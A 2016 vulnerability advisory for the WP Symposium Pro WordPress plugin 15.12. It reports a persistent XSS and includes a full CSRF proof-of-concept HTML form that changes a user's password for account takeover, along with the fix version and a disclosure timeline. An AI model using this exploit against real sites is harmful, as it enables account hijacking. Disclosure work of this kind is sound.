WP Symposium Pro Social Network Plugin 15.12 - Multiple Vulnerabilities
2016-01-08 19:05:05#Product : WP Symposium Pro Social Network plugin
#Exploit Author : Rahul Pratap Singh
#Home page Link : https://wordpress.org/plugins/wp-symposium-pro
#Version : 15.12
#Website : 0x62626262.wordpress.com
#Twitter : @0x62626262
#Linkedin : https://in.linkedin.com/in/rahulpratapsingh94
#Date : 8/Jan/2016
1) XSS Vulnerability:
Vulnerable Code:
file: wps_usermeta_shortcodes.php
"wpspro_country" parameter is not sanitized, that leads to persistent xss.
Video Demonstration:
https://www.youtube.com/watch?v=Xglc3rNZPXs
2) CSRF Vulnerability:
Description:
Edit profile page is vulnerable to CSRF, that allows to change password
which in turn leads to full account takeover.
Exploit:
<html>
<body>
<form action="http://localhost/wp422/wordpress/index.php/edit-profile/"
method="POST" enctype="multipart/form-data">
<input type="hidden" name="wps_usermeta_change_update"
value="yes" />
<input type="hidden" name="wpspro_display_name" value="rahul"
/>
<input type="hidden" name="wpspro_firstname" value="hello1" />
<input type="hidden" name="wpspro_lastname" value="hello2" />
<input type="hidden" name="wpspro_email" value="
" />
<input type="hidden" name="wpsro_home" value="hello4" />
<input type="hidden" name="wpspro_country" value="hello5" />
<input type="hidden" name="wpspro_password" value="asdf" />
<input type="hidden" name="wpspro_password2" value="asdf" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Video Demonstration:
https://www.youtube.com/watch?v=sN65HlCRe9c
Fix:
Update to version 16.1
Disclosure Timeline:
reported to vendor : 6/1/2016
vendor response : 6/1/2016
vendor acknowledged : 6/1/2016
vendor scheduled a patch: 7/1/2016
CVE Number : Not assigned yet
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